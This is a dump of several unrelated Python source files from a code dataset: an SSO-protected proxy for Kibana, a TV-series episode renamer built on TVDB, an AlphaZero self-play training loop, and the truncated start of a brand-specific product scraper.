rating_decision_issue.issuedecisionattribute)\n","sub_path":"ncr_website/integrations/esma/tests/test_rating_decision_helpers.py","file_name":"test_rating_decision_helpers.py","file_ext":"py","file_size_in_byte":3545,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"578551406","text":"import asyncio\nimport contextlib\nimport itertools\nimport json\nimport logging\nimport os\nimport secrets\nimport string\nimport sys\nimport urllib\n\nimport aiohttp\nfrom aiohttp import web\nfrom aiohttp_session import (\n get_session,\n session_middleware,\n)\nfrom aiohttp_session.redis_storage import RedisStorage\nimport aioredis\nfrom yarl import (\n URL,\n)\n\n\nINCORRECT = 'Incorrect authentication credentials.'\n\n\nasync def run_application():\n logger = get_root_logger('elasticsearch-proxy')\n\n with logged(logger, 'Examining environment', []):\n env = normalise_environment(os.environ)\n port = env['PORT']\n ip_whitelist = env['INCOMING_IP_WHITELIST']\n staff_sso_client_base = env['STAFF_SSO_BASE']\n staff_sso_client_id = env['STAFF_SSO_CLIENT_ID']\n staff_sso_client_secret = env['STAFF_SSO_CLIENT_SECRET']\n kibana_url_no_password = URL('http://127.0.0.1:5601')\n\n vcap_services = json.loads(env['VCAP_SERVICES'])\n es_uri = vcap_services['elasticsearch'][0]['credentials']['uri']\n redis_uri = vcap_services['redis'][0]['credentials']['uri']\n\n es_parsed = URL(es_uri)\n es_user = es_parsed.user\n es_password = es_parsed.password\n kibana_url = kibana_url_no_password.with_user(es_user).with_password(es_password)\n\n client_session = aiohttp.ClientSession(skip_auto_headers=['Accept-Encoding'])\n\n async def handle(request):\n url = kibana_url.with_path(request.url.path)\n request_body = await request.read()\n headers = {\n header: request.headers[header]\n for header in ['Kbn-Xsrf', 'Kbn-Version', 'Content-Type']\n if header in request.headers\n }\n\n with logged(\n request['logger'], 'Elasticsearch request by (%s) to (%s) (%s) (%s) (%s)', [\n request['me_profile']['email'],\n request.method, str(url), request.url.query, request_body,\n ],\n ):\n async with client_session.request(\n request.method, str(url), params=request.url.query, data=request_body,\n headers=headers,\n ) as response:\n response_body = await response.read()\n response_headers = {\n key: value for key, value in response.headers.items()\n if key != 'Transfer-Encoding'\n }\n return web.Response(status=response.status, body=response_body, headers=response_headers)\n\n redis_pool = await aioredis.create_pool(redis_uri)\n redis_storage = RedisStorage(redis_pool, max_age=60*60*24)\n\n with logged(logger, 'Creating listening web application', []):\n app = web.Application(middlewares=[\n server_logger(logger),\n authenticate_by_ip(INCORRECT, ip_whitelist),\n session_middleware(redis_storage),\n authenticate_by_staff_sso(client_session, staff_sso_client_base,\n staff_sso_client_id, staff_sso_client_secret),\n ])\n\n app.add_routes([\n web.delete(r'/{path:.*}', handle),\n web.get(r'/{path:.*}', handle),\n web.post(r'/{path:.*}', handle),\n web.put(r'/{path:.*}', handle),\n web.head(r'/{path:.*}', handle),\n ])\n\n class NullAccessLogger(aiohttp.abc.AbstractAccessLogger):\n # pylint: disable=too-few-public-methods\n\n def log(self, request, response, time):\n pass\n\n runner = web.AppRunner(app, access_log_class=NullAccessLogger)\n await runner.setup()\n site = web.TCPSite(runner, '0.0.0.0', port)\n await site.start()\n\n\ndef authenticate_by_staff_sso(client_session, base, client_id, client_secret):\n\n auth_path = '/o/authorize/'\n token_path = '/o/token/'\n me_path = '/api/v1/user/me/'\n grant_type = 'authorization_code'\n scope = 'read write'\n response_type = 'code'\n\n redirect_from_sso_path = '/__redirect_from_sso'\n session_token_key = 'staff_sso_access_token'\n\n def get_redirect_uri_authenticate(session, request):\n state = secrets.token_urlsafe(32)\n set_redirect_uri_final(session, state, request)\n redirect_uri_callback = urllib.parse.quote(get_redirect_uri_callback(request), safe='')\n return f'{base}{auth_path}?' \\\n f'scope={scope}&state={state}&' \\\n f'redirect_uri={redirect_uri_callback}&' \\\n f'response_type={response_type}&' \\\n f'client_id={client_id}'\n\n def get_redirect_uri_callback(request):\n uri = request.url.with_scheme(request.headers['X-Forwarded-Proto']) \\\n .with_path(redirect_from_sso_path) \\\n .with_query({})\n return str(uri)\n\n def set_redirect_uri_final(session, state, request):\n session[state] = str(request.url)\n\n def get_redirect_uri_final(session, request):\n state = request.query['state']\n return session[state]\n\n @web.middleware\n async def _authenticate_by_sso(request, handler):\n # Workaround https://web.dev/add-manifest/#link-manifest where cookies are not sent by\n # default for manifests\n if request.path == '/ui/favicons/manifest.json':\n request['me_profile'] = {'email': '---cookies-not-sent-for-manifest---'}\n return await handler(request)\n\n session = await get_session(request)\n\n if request.path != redirect_from_sso_path and session_token_key not in session:\n return web.Response(status=302, headers={\n 'Location': get_redirect_uri_authenticate(session, request),\n })\n\n if request.path == redirect_from_sso_path:\n code = request.query['code']\n redirect_uri_final = get_redirect_uri_final(session, request)\n sso_response = await client_session.post(\n f'{base}{token_path}',\n data={\n 'grant_type': grant_type,\n 'code': code,\n 'client_id': client_id,\n 'client_secret': client_secret,\n 'redirect_uri': get_redirect_uri_callback(request),\n },\n )\n session[session_token_key] = (await sso_response.json())['access_token']\n return web.Response(status=302, headers={'Location': redirect_uri_final})\n\n token = session[session_token_key]\n async with client_session.get(f'{base}{me_path}', headers={\n 'Authorization': f'Bearer {token}'\n }) as me_response:\n me_profile = await me_response.json()\n\n request['me_profile'] = me_profile\n return \\\n await handler(request) if me_response.status == 200 else \\\n web.Response(status=302, headers={\n 'Location': get_redirect_uri_authenticate(session, request),\n })\n\n return _authenticate_by_sso\n\n\n## Logging\n\nclass ContextAdapter(logging.LoggerAdapter):\n def process(self, msg, kwargs):\n return '[%s] %s' % (','.join(self.extra['context']), msg), kwargs\n\n\ndef get_root_logger(context):\n logger = logging.getLogger('sso-proxy')\n return ContextAdapter(logger, {'context': [context]})\n\n\ndef get_child_logger(logger, child_context):\n existing_context = logger.extra['context']\n return ContextAdapter(logger.logger, {'context': existing_context + [child_context]})\n\n\n@contextlib.contextmanager\ndef logged(logger, message, logger_args):\n try:\n logger.debug(message + '...', *logger_args)\n status = 'done'\n logger_func = logger.debug\n yield\n except asyncio.CancelledError:\n status = 'cancelled'\n logger_func = logger.debug\n raise\n except BaseException:\n status = 'failed'\n logger_func = logger.warning\n raise\n finally:\n logger_func(message + '... (%s)', *(logger_args + [status]))\n\n\ndef server_logger(logger):\n\n def random_url_safe(count):\n return ''.join(secrets.choice(string.ascii_lowercase + string.digits) for _ in range(count))\n\n @web.middleware\n async def _server_logger(request, handler):\n child_logger = get_child_logger(logger, random_url_safe(8))\n request['logger'] = child_logger\n child_logger.debug('Receiving request (%s) (%s %s HTTP/%s.%s) (%s) (%s)', *(\n (\n request.remote,\n request.method,\n request.path_qs,\n ) +\n request.version +\n (\n request.headers.get('User-Agent', '-'),\n request.headers.get('X-Forwarded-For', '-'),\n )\n ))\n\n with logged(child_logger, 'Processing request', []):\n response = await handler(request)\n\n child_logger.debug(\n 'Sending Response (%s) (%s)',\n response.status, response.content_length,\n )\n\n return response\n\n return _server_logger\n\n\n## IP filtering\n\ndef authenticate_by_ip(incorrect, ip_whitelist):\n\n @web.middleware\n async def _authenticate_by_ip(request, handler):\n if 'X-Forwarded-For' not in request.headers:\n request['logger'].warning(\n 'Failed authentication: no X-Forwarded-For header passed'\n )\n raise web.HTTPUnauthorized(text=incorrect)\n\n # PaaS appends 2 IPs, where the IP connected from is the first of the two\n ip_addesses = request.headers['X-Forwarded-For'].split(',')\n if len(ip_addesses) < 2:\n request['logger'].warning(\n 'Failed authentication: the X-Forwarded-For header does not '\n 'contain enough IP addresses'\n )\n raise web.HTTPUnauthorized(text=incorrect)\n\n remote_address = ip_addesses[-2].strip()\n\n if remote_address not in ip_whitelist:\n request['logger'].warning(\n 'Failed authentication: the IP address derived from the '\n 'X-Forwarded-For header is not in the whitelist'\n )\n raise web.HTTPUnauthorized(text=incorrect)\n\n return await handler(request)\n\n return _authenticate_by_ip\n\n\n## Environment\n\ndef normalise_environment(key_values):\n ''' Converts denormalised dict of (string -> string) pairs, where the first string\n is treated as a path into a nested list/dictionary structure\n\n {\n \"FOO__1__BAR\": \"setting-1\",\n \"FOO__1__BAZ\": \"setting-2\",\n \"FOO__2__FOO\": \"setting-3\",\n \"FOO__2__BAR\": \"setting-4\",\n \"FIZZ\": \"setting-5\",\n }\n\n to the nested structure that this represents\n\n {\n \"FOO\": [{\n \"BAR\": \"setting-1\",\n \"BAZ\": \"setting-2\",\n }, {\n \"BAR\": \"setting-3\",\n \"BAZ\": \"setting-4\",\n }],\n \"FIZZ\": \"setting-5\",\n }\n\n If all the keys for that level parse as integers, then it's treated as a list\n with the actual keys only used for sorting\n\n This function is recursive, but it would be extremely difficult to hit a stack\n limit, and this function would typically by called once at the start of a\n program, so efficiency isn't too much of a concern.\n '''\n\n # Separator is chosen to\n # - show the structure of variables fairly easily;\n # - avoid problems, since underscores are usual in environment variables\n separator = '__'\n\n def get_first_component(key):\n return key.split(separator)[0]\n\n def get_later_components(key):\n return separator.join(key.split(separator)[1:])\n\n without_more_components = {\n key: value\n for key, value in key_values.items()\n if not get_later_components(key)\n }\n\n with_more_components = {\n key: value\n for key, value in key_values.items()\n if get_later_components(key)\n }\n\n def grouped_by_first_component(items):\n def by_first_component(item):\n return get_first_component(item[0])\n\n # groupby requires the items to be sorted by the grouping key\n return itertools.groupby(\n sorted(items, key=by_first_component),\n by_first_component,\n )\n\n def items_with_first_component(items, first_component):\n return {\n get_later_components(key): value\n for key, value in items\n if get_first_component(key) == first_component\n }\n\n nested_structured_dict = {\n **without_more_components, **{\n first_component: normalise_environment(\n items_with_first_component(items, first_component))\n for first_component, items in grouped_by_first_component(with_more_components.items())\n }}\n\n def all_keys_are_ints():\n def is_int(string_to_test):\n try:\n int(string_to_test)\n return True\n except ValueError:\n return False\n\n return all([is_int(key) for key, value in nested_structured_dict.items()])\n\n def list_sorted_by_int_key():\n return [\n value\n for key, value in sorted(\n nested_structured_dict.items(),\n key=lambda key_value: int(key_value[0])\n )\n ]\n\n return \\\n list_sorted_by_int_key() if all_keys_are_ints() else \\\n nested_structured_dict\n\n\n\ndef main():\n stdout_handler = logging.StreamHandler(sys.stdout)\n app_logger = logging.getLogger('sso-proxy')\n app_logger.setLevel(logging.DEBUG)\n app_logger.addHandler(stdout_handler)\n\n loop = asyncio.get_event_loop()\n loop.create_task(run_application())\n loop.run_forever()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"sso-proxy.py","file_name":"sso-proxy.py","file_ext":"py","file_size_in_byte":13710,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"5116410","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: series_renamer/series_renamer.py\n# Compiled at: 2016-08-31 14:30:17\nfrom __future__ import print_function\nfrom io import open\nimport os, re, json, tvdb_api, shutil, errno\nfrom subprocess import call\nfrom sys import argv\nfrom sys import exit as sysexit\nfrom sys import version_info\nfrom platform import system\nfrom tvdb_api import tvdb_error\nfrom tvdb_api import tvdb_shownotfound\nfrom tvdb_api import tvdb_seasonnotfound\nif version_info < (3, 0):\n input = raw_input\nelse:\n unicode = str\nnamingFormat = ''\nconfigs = ''\nENC = 'utf-8'\nVERSION = '1.0.0'\nepns = {}\nrenames = {}\n\ndef createConfig(fpath):\n \"\"\"\n Creates the config file if needed\n \"\"\"\n if not os.path.isfile(fpath):\n x = {'namingFormat': '{{sname}} [{{seasonnumber}}x{{episodenumber}}] - {{episodename}}', '_commented_namingFormat': '{{sname}} E{{absolute_number}} - {{episodename}}', \n 'replaces': {'&': '-', \n 'YouTube_': '~'}}\n ptr = open(fpath, 'w')\n ptr.write(unicode(json.dumps(x, indent=4)))\n ptr.close()\n\n\ndef loadConfig():\n \"\"\"\n Loads Configuration data from the config.json file\n \"\"\"\n global configs\n global namingFormat\n fpath = os.path.dirname(os.path.realpath(__file__)) + '/config.json'\n createConfig(fpath)\n with open(fpath) as (data):\n configs = json.load(data)\n namingFormat = configs['namingFormat']\n\n\ndef editConfig():\n \"\"\"\n Opens the config in default editor\n \"\"\"\n fpath = os.path.dirname(os.path.realpath(__file__)) + '/config.json'\n createConfig(fpath)\n if system() == 'darwin':\n call(('open', fpath))\n elif os.name == 'nt':\n os.startfile(fpath)\n elif os.name == 'posix':\n call(('xdg-open', fpath))\n\n\ndef showHelp():\n \"\"\"\n Shows the help\n \"\"\"\n printexit('\\nSeries Renamer helps you properly name you tv/anime series episodes. Just start this application in the folder of your TV series and you are ready to go.\\n\\nOptional Arguments\\n\\n--config: Edit config.json (linux users may need to add sudo)\\n-H or --help: Show help\\n-V or --version: Show version information')\n\n\ndef run():\n \"\"\"\n Runs the script from the setuptools entry point\n \"\"\"\n if len(argv) > 1:\n if argv[1] == '--config':\n editConfig()\n elif argv[1] == '-H' or argv[1] == '--help':\n showHelp()\n elif argv[1] == '-V' or argv[1] == '--version':\n printexit(VERSION)\n else:\n print('Incorrect arguments\\n')\n showHelp()\n else:\n main(os.getcwd())\n\n\ndef main(path='.'):\n \"\"\"\n Series Renamer commandline program\n \"\"\"\n loadConfig()\n print(\"What's the series name ? Write it as precise as possible.\")\n sname = input('> ')\n getNums(path)\n print('Fetching Series data from TVDB')\n seriesObj = getSeries(sname)\n printShowInfo(seriesObj)\n ps = '0'\n pep = 1\n allgo = done = dont = stop = 0\n strLog = ''\n for i in epns.items():\n dont = done = 0\n if ps[0] == '#':\n mys = int(ps[1:])\n else:\n if len(i[1]) > 1:\n mys = i[1][int(ps)] if int(ps) >= 0 else 0\n else:\n mys = 0\n if len(i[1]) > 1:\n myep = i[1][pep]\n else:\n myep = i[1][0]\n while done == 0:\n print()\n print(trimUnicode(i[0]))\n print('Detected [Season ' + str(mys) + ', Episode ' + str(myep) + ']')\n done = 1\n if allgo == 0:\n print('Array', i[1])\n print('Option : Yes (y) , No (n) , All (a) , Stop (s) , Season change (1) , Episode change (2)')\n x = input('> ').lower()\n if x == 'y':\n continue\n elif x == 'n':\n dont = 1\n elif x == 'a':\n allgo = 1\n elif x == 's':\n dont = stop = 1\n break\n elif x == '1':\n print(('New season (-1, 0-{0}, #NUM) : ').format(len(i[1]) - 1), end='')\n ps = input('>> ')\n if ps[0] == '#':\n mys = int(ps[1:])\n elif int(ps) < 0:\n mys = 0\n elif int(ps) < len(i[1]):\n mys = i[1][int(ps)]\n done = 0\n elif x == '2':\n print(('New episode (0-{0}) : ').format(len(i[1]) - 1), end='')\n pep = int(input('>> '))\n if pep < len(i[1]) and pep >= 0:\n myep = i[1][pep]\n done = 0\n else:\n print('Invalid option. Try Again')\n done = 0\n\n if dont == 0:\n ext = getExtension(i[0])\n r_myep = str2Int(myep)\n if mys == 0:\n epd = seriesObj.search(r_myep, key='absolute_number')\n for epds in epd:\n if epds['absolute_number'] == str(r_myep):\n epd = epds\n break\n else:\n warn('Episode not found via absolute_number, skipping')\n continue\n\n mys = str(epd['seasonnumber'])\n epd['absolute_number'] = myep.replace(' ', '')\n else:\n try:\n epd = seriesObj[int(mys)][r_myep]\n epd['episodenumber'] = myep.replace(' ', '')\n except tvdb_seasonnotfound as e:\n warn('Season not found : ' + ('{}').format(e.args[(-1)]))\n continue\n except tvdb_api.tvdb_episodenotfound as e:\n warn('Episode not found : ' + ('{}').format(e.args[(-1)]))\n continue\n\n tempmissing = isNameInvalid(epd)\n if tempmissing:\n warn('Naming Format ( ' + namingFormat + ' ) is invalid for tvdb data. Reason : missing ' + tempmissing)\n else:\n newname = makeName(sname, epd) + '.' + ext\n renames[i[0]] = newname\n strLog += '
    '\n if stop:\n break\n\n if stop:\n return 1\n logfile = path + '/series_renamer_log.html'\n copyanything(os.path.dirname(os.path.realpath(__file__)) + '/logs.html', logfile)\n fpt = open(logfile, 'r', encoding=ENC)\n html = fpt.read()\n fpt.close()\n html = html.replace('{{dir}}', os.getcwd(), 1)\n html = html.replace('{{content}}', strLog, 1)\n fpt = open(logfile, 'w', encoding=ENC)\n fpt.write(unicode(html))\n fpt.close()\n print('Log created at ' + logfile)\n print('Do you approve renaming ? (y/n)')\n x = input('> ').lower()\n if x == 'y':\n for i in renames.items():\n if os.path.isfile(path + '/' + i[1]):\n warn(('File {0} exists, skipping').format(i[1]))\n else:\n os.rename(path + '/' + i[0], path + '/' + i[1])\n subtitleRename(path + '/' + i[0], path + '/' + i[1])\n\n print('Renaming Successful')\n os.remove(logfile)\n return 0\n\n\ndef getNums(path):\n \"\"\"\n Scans the path, looks for series files and gets contenders of the episode numbers and season numbers.\n Stores them in epns\n \"\"\"\n exts = [\n 'mkv', 'mp4', 'avi', 'flv', 'mpg', 'mpeg', 'wmv', 'webm', 'vob', 'mov', '3gp', 'ogv']\n for i in os.listdir(path):\n if not os.path.isfile(path + '/' + i):\n continue\n fname = i\n ext = getExtension(fname).lower()\n for k in configs['replaces'].items():\n fname = fname.replace(k[0], k[1])\n\n if ext in exts:\n tobj = re.findall('(?i)((^|.)\\\\d+(\\\\s*\\\\-\\\\s*\\\\d+)?)(?=[\\\\. ex\\\\-\\\\]\\\\)\\\\(\\\\[$_])', fname, re.DOTALL)\n if len(tobj):\n epns[i] = tobj\n\n avoids = [\n '~']\n for i in epns.items():\n nl = []\n for k in i[1]:\n temp = k[0][0]\n if temp in avoids:\n continue\n nl.append(re.findall('([1-9]\\\\d*(\\\\s*\\\\-\\\\s*[1-9]\\\\d*)?)', k[0])[0][0])\n\n epns[i[0]] = nl\n\n\ndef getSeries(sname):\n \"\"\"\n Gets Series data using the TVDB API\n Throws exception if something goes wrong\n \"\"\"\n x = 0\n try:\n t = tvdb_api.Tvdb()\n x = t[sname]\n except tvdb_error:\n throwError('There was an error connecting the TVDB API')\n except tvdb_shownotfound:\n throwError('Show Not Found on TVDB')\n except Exception:\n throwError('There was an error. Tvdb API')\n\n return x\n\n\ndef makeName(sname, eobj):\n \"\"\"\n Makes the episode name using the namingFormat\n sname = Name of the series\n eobj = Episode Object containing all other data\n \"\"\"\n s = namingFormat\n o = re.findall('\\\\{\\\\{.+?\\\\}\\\\}', s)\n for i in o:\n if i == '{{sname}}':\n s = s.replace(i, fixName(sname), 1)\n else:\n s = s.replace(i, fixName(eobj[i[2:-2]]), 1)\n\n return s\n\n\ndef isNameInvalid(epd):\n \"\"\"\n Checks the namingFormat against the episode data to see if every request attribute is present\n \"\"\"\n o = re.findall('\\\\{\\\\{(.+?)\\\\}\\\\}', namingFormat)\n for i in o:\n if i == 'sname':\n continue\n if i not in epd:\n return i\n if epd[i] is None:\n return i\n\n return 0\n\n\ndef fixName(s):\n \"\"\"\n Removes parts in the string that can't be part of a filename.\n Eg - : in Windows\n \"\"\"\n windows = '/\\\\:*?\"<>|'\n if system() == 'Windows':\n for i in windows:\n s = s.replace(i, '')\n\n return s\n\n\ndef printShowInfo(obj):\n \"\"\"\n Displays basic show info on the terminal\n \"\"\"\n drawline('-', '#' * 80)\n print('Series name : ', obj['seriesname'])\n print('Overview : ', obj['overview'])\n c = -1\n try:\n obj[0]\n except tvdb_api.tvdb_seasonnotfound:\n c = 0\n\n print('Number of seasons : ', len(obj) + c)\n drawline('-', '#' * 80)\n\n\ndef getExtension(fname):\n \"\"\"\n Gets extension from the file name.\n Returns without the dot (.)\n \"\"\"\n a = fname.rfind('.')\n return fname[a + 1:]\n\n\ndef subtitleRename(old, new):\n \"\"\"\n Renames subtitles a/c the file rename\n \"\"\"\n namebase = old[:old.rfind('.')]\n newnamebase = new[:new.rfind('.')]\n sub_formats = ['srt', 'sub', 'sbv', 'ttxt', 'usf', 'smi']\n for ext in sub_formats:\n if os.path.isfile(namebase + '.' + ext):\n print('Subtitle found, renaming..')\n os.rename(namebase + '.' + ext, newnamebase + '.' + ext)\n\n\ndef trimUnicode(s):\n \"\"\"\n Trims string s of unicode text\n \"\"\"\n return re.sub('[^\\\\x00-\\\\x7F]+', ' ', s)\n\n\ndef copyanything(src, dst):\n \"\"\"\n copy tree from src to dst\n Taken from Stack Overflow (dont have the link)\n \"\"\"\n try:\n shutil.copytree(src, dst)\n except OSError as exc:\n if exc.errno == errno.ENOTDIR:\n shutil.copy(src, dst)\n else:\n raise\n\n\ndef str2Int(num):\n \"\"\"\n Converts string to int\n If form of 324-325, it returns 324 i.e. the former number\n \"\"\"\n n = re.findall('[1-9]\\\\d*', str(num))\n return int(n[0])\n\n\ndef drawline(char, msg):\n \"\"\"\n Draws a line in the terminal\n \"\"\"\n print(char * (len(msg) + 10))\n\n\ndef warn(msg):\n \"\"\"\n Gives a warning\n \"\"\"\n drawline('>', msg)\n print('WARNING :', msg)\n drawline('>', msg)\n\n\ndef throwError(msg):\n \"\"\"\n Throws error and exists\n \"\"\"\n drawline('#', msg)\n print('ERROR :', msg)\n sysexit()\n\n\ndef printexit(msg, code=0):\n \"\"\"\n Prints and exists\n \"\"\"\n print(msg)\n sysexit(code)\n\n\nif __name__ == '__main__':\n if len(argv) > 1:\n if argv[1] == '--config':\n editConfig()\n else:\n main()","sub_path":"pycfiles/series_renamer-1.1.2-py2-none-any/series_renamer.py","file_name":"series_renamer.py","file_ext":"py","file_size_in_byte":12422,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"34007530","text":"import copy\nimport time\nfrom itertools import repeat\nfrom multiprocessing import Pool\n\nfrom agent import Agent\nfrom helper import compute_search_probabilities\nfrom hyperparameters import *\n\nfrom pathos.multiprocessing import ProcessingPool as Pool\n\n# playing against itself to fill the replay buffer\nfrom replay_buffer import Replay_buffer\n\n\ndef self_play_parallel(agent, game):\n start_time = time.time()\n pool = Pool(processes=NR_PROCESSES_ON_CPU)\n\n args = [(agent.clone(), game.clone(), True) for i in range(NR_PROCESSES_ON_CPU)]\n pool.map(self_play_process, args)\n pool.close()\n pool.join()\n\n print(\"\\r\\tSelf play completed\\t time for Self play: {} seconds\".format((time.time() - start_time)))\n\n\ndef self_play(agent, game):\n start_time = time.time()\n self_play_process((agent, game, False))\n print(\"\\r\\tSelf play completed\\t time for Self play: {} seconds\".format((time.time() - start_time)))\n\n\ndef self_play_process(args):\n start_time = time.time()\n agent_1, game, parallel = args\n agent_2 = agent_1.clone()\n agent_2.player = -agent_2.player\n agents = [agent_1, agent_2]\n nr_episodes = NUMBER_GAMES_PER_SELF_PLAY\n if parallel:\n nr_episodes = nr_episodes // NR_PROCESSES_ON_CPU\n for episode in range(1, nr_episodes + 1):\n game.reset()\n agent_1.mcts.reset()\n agent_2.mcts.reset()\n start_agent = agents[game.random.randint(0, 1)]\n crnt_agent = start_agent\n step = 0\n states_so_far_list = []\n crnt_player_list = []\n search_probabilities_list = []\n while game.winner is None:\n step += 1\n if len(game.feasible_actions) == 0:\n game.winner = 0\n break\n action = crnt_agent.compute_action(game, True)\n # if crnt_agent.player == 1:\n states_so_far_list.append(copy.deepcopy(game.all_board_states))\n crnt_player_list.append(crnt_agent.player)\n search_probabilities = compute_search_probabilities(crnt_agent, game)\n search_probabilities_list.append(search_probabilities)\n game.step_if_feasible(action, crnt_agent.player)\n crnt_agent = agent_1 if crnt_agent is agent_2 else agent_2\n # store information in shared rpb\n outcome = game.winner\n for states_so_far, crnt_player, search_probabilities in zip(states_so_far_list, crnt_player_list,\n search_probabilities_list):\n agent_1.replay_buffer.add_experience(states_so_far, search_probabilities, outcome, crnt_player,\n game.state_shape)\n if not parallel:\n print(\"\\r\\tSelf play - {}% done\\t time used so far: {} seconds\".format(\n (episode + 1) / NUMBER_GAMES_PER_SELF_PLAY * 100, (time.time() - start_time)), end=\"\")\n\n\n# play a game and return true if agent wins\ndef play_game_return_winner(agent, agent_old, game):\n game.reset()\n agents = [agent, agent_old]\n crnt_agent = agents[game.random.randint(0, 1)]\n while game.winner is None:\n if len(game.feasible_actions) == 0:\n game.winner = 0\n break\n action = crnt_agent.compute_action(game, False)\n game.step_if_feasible(action, crnt_agent.player)\n crnt_agent = agent if crnt_agent is agent_old else agent_old\n return game.winner * agent.player\n\n\n# evaluate version by playing vs previous version\ndef evaluate(agent, game):\n start_time = time.time()\n # play vs older version for evaluation\n agent_old = Agent(type=\"alphaZero\", player=-1, seed=agent.seed, version=agent.version - 1,\n scnds_per_move=SCNDS_PER_MOVE_TRAINING,\n game=game, name_for_saving=agent.name_for_saving)\n number_wins_new_agent = 0\n number_ties = 0\n for i in range(1, NUMBER_GAMES_VS_OLD_VERSION + 1):\n outcome = play_game_return_winner(agent, agent_old, game)\n if outcome == 1:\n number_wins_new_agent += 1\n elif outcome == 0:\n number_ties += 1\n # ties count as wins times a weight, otherwise it is too hard to be accepted because of the high tie probability in some games\n if number_wins_new_agent + number_ties * WEIGHT_FOR_TIES_IN_EVALUATION >= WIN_PERCENTAGE * NUMBER_GAMES_VS_OLD_VERSION / 100:\n # accept new version\n agent.save(agent.version)\n print(\"version {} accepted with win probability: {}% and tie probability: {}%\".format(agent.version,\n number_wins_new_agent / NUMBER_GAMES_VS_OLD_VERSION * 100,\n number_ties / NUMBER_GAMES_VS_OLD_VERSION * 100))\n else:\n agent = Agent(type=\"alphaZero\", player=1, seed=agent.seed, version=agent.version - 1,\n scnds_per_move=SCNDS_PER_MOVE_TRAINING,\n game=game, name_for_saving=agent.name_for_saving)\n print(\"version {} refused with win probability: {}% and tie probability: {}%\".format(agent.version,\n number_wins_new_agent / NUMBER_GAMES_VS_OLD_VERSION * 100,\n number_ties / NUMBER_GAMES_VS_OLD_VERSION * 100))\n print(\"\\tEvaluation completed\\t time for evaluation: {} seconds\".format((time.time() - start_time)))\n print(\n \"__________________________________________________________________________________________________________________________\")\n return agent\n\n\ndef alpha_0_pipeline(start_version, game, name_for_saving, seed):\n agent = Agent(type=\"alphaZero\", player=1, seed=seed, version=start_version, scnds_per_move=SCNDS_PER_MOVE_TRAINING,\n game=game, name_for_saving=name_for_saving)\n if start_version == 0:\n agent.save(0)\n\n while True:\n # play games to fill replay buffer\n self_play(agent, game)\n # learning from games to improve neural network\n agent.train()\n agent.version = agent.version + 1\n # evaluate version\n agent = evaluate(agent, game)\n","sub_path":"alpha_0_algorithm.py","file_name":"alpha_0_algorithm.py","file_ext":"py","file_size_in_byte":6328,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"381601895","text":"import os\r\nimport shutil\r\n\r\nimport mysql.connector\r\n\r\nfrom management.insert_data import insert_data\r\nfrom management.loggin_in import driver\r\nfrom sites.amica import amica\r\nfrom sites.blaupunk import blaupunkt\r\nfrom sites.bosch import bosch\r\nfrom sites.electrolux import electrolux\r\nfrom sites.electrolux_xlsx import electrolux_file\r\nfrom sites.samsung import samsung\r\nfrom sites.beko import beko\r\nfrom sites.samsung_imgs import samsung_imgs\r\nfrom sites.sony_one import sony_one\r\n\r\n\r\ndef brand_check(name):\r\n db = mysql.connector.connect(host=\"localhost\", user=\"root\", database=\"test\")\r\n cursor = db.cursor()\r\n\r\n cursor.execute(\"SELECT * FROM brands\")\r\n db_results = cursor.fetchall()\r\n\r\n results = []\r\n for i in range(len(db_results)):\r\n results.append(list(db_results[i]))\r\n for j in range(len(results[i])):\r\n if results[i][j] is None:\r\n results[i][j] = ''\r\n\r\n br = 'nie wykryto'\r\n for res in results:\r\n if res[1].lower() in name.lower():\r\n br = res[1]\r\n\r\n return br\r\n\r\n\r\ndef product_magic(raport_lab, product, option):\r\n from globals import file_path\r\n\r\n brand = brand_check(product[1])\r\n\r\n descriptions = None\r\n model = product[1][product[1].lower().find(brand.lower()) + len(brand) + 1:]\r\n replaces = (')', '(', ' ', '.', '-', '+', '\"')\r\n polish = ('ą', 'ć', 'ę', 'ł', 'ń', 'ó', 'ś', 'ż', 'ź')\r\n neutral = ('a', 'c', 'e', 'l', 'n', 'o', 's', 'z', 'z')\r\n for replace in replaces:\r\n model = model.replace(replace, '')\r\n for i in range(len(polish)):\r\n model = model.replace(polish[i], neutral[i])\r\n\r\n if option == 'full':\r\n\r\n # Jeżeli istniały jakieś dane w tym pliku, to usuń je (dla porządku)\r\n try:\r\n shutil.rmtree(file_path)\r\n except FileNotFoundError:\r\n pass\r\n\r\n # Utwórz brakujące foldery\r\n os.mkdir(file_path)\r\n os.mkdir(f'{file_path}/{model}')\r\n os.mkdir(f'{file_path}/{model}/obrazki_produktu')\r\n os.mkdir(f'{file_path}/{model}/obrazki_opisu')\r\n\r\n if brand == 'Amica':\r\n driver.execute_script('''window.open(\"about:blank\", \"_blank\");''')\r\n driver.switch_to.window(driver.window_handles[1])\r\n\r\n descriptions = amica(raport_lab, product, model)\r\n\r\n driver.execute_script(\"window.close('');\")\r\n driver.switch_to.window(driver.window_handles[0])\r\n elif brand == 'Blaupunkt':\r\n descriptions = blaupunkt(model, product[6])\r\n elif brand == 'Samsung':\r\n if product[6].startswith('http'):\r\n # wymagany model i link do opisu technicznego na stronie Samsunga\r\n descriptions = samsung(model, product[6])\r\n samsung_imgs(product[6])\r\n elif brand == 'Beko':\r\n if product[6].startswith('http'):\r\n descriptions = beko(raport_lab, product, model)\r\n elif brand == 'Bosch':\r\n print('Bosch')\r\n if product[6].startswith('http'):\r\n driver.execute_script('''window.open(\"about:blank\", \"_blank\");''')\r\n driver.switch_to.window(driver.window_handles[1])\r\n\r\n descriptions = bosch(raport_lab, product[6], model)\r\n\r\n driver.execute_script(\"window.close('');\")\r\n driver.switch_to.window(driver.window_handles[0])\r\n elif brand == 'Electrolux' and 'file' in product[6]:\r\n descriptions = electrolux_file(product, model)\r\n elif brand == 'Electrolux':\r\n if product[6].startswith('http'):\r\n driver.execute_script('''window.open(\"about:blank\", \"_blank\");''')\r\n driver.switch_to.window(driver.window_handles[1])\r\n\r\n descriptions = electrolux(raport_lab, product, model)\r\n\r\n driver.execute_script(\"window.close('');\")\r\n 